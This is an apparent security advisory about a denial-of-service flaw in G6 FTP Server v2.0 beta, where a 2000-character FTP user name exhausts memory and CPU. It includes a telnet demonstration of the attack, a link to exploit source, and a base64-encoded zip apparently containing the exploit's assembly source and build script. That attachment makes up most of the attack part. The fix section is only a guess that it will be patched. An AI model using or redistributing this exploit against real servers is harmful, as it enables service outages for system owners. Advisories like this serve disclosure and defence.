COMMAND
G6 FTP Server
SYSTEMS AFFECTED
G6 FTP Server v2.0 (beta 4/5)
PROBLEM
UssrLabs found a Local/Remote DoS Attack in G6 FTP Server v2.0
(beta 4/5), the buffer overflow is caused by a long user name,
2000 characters. The G6FTP start to do infinites loops in the
main program,and start eating all memory and all computer resource
CPU 100%, at the moment of no more memory, if this happend ALL
System is down. Example:
[gimmemore@itsme]$ telnet example.com 21
Trying example.com...
Connected to example.com.
Escape character is '^]'.
220-G6 FTP Server v2.0 (beta 5) ready ...
USER {buffer)
Where buffer is 2000 characters. Binary/Source for this D.O.S:
http://www.ussrback.com/g6ftp/
Here it is mimed:
---
Content-Type: application/octet-stream; name="g6ftp.zip"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="g6ftp.zip"
Content-MD5: gdNfyAR7H8q+myxj6dsLfA==
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
AA==
-----
SOLUTION
I guess this one will be fixed.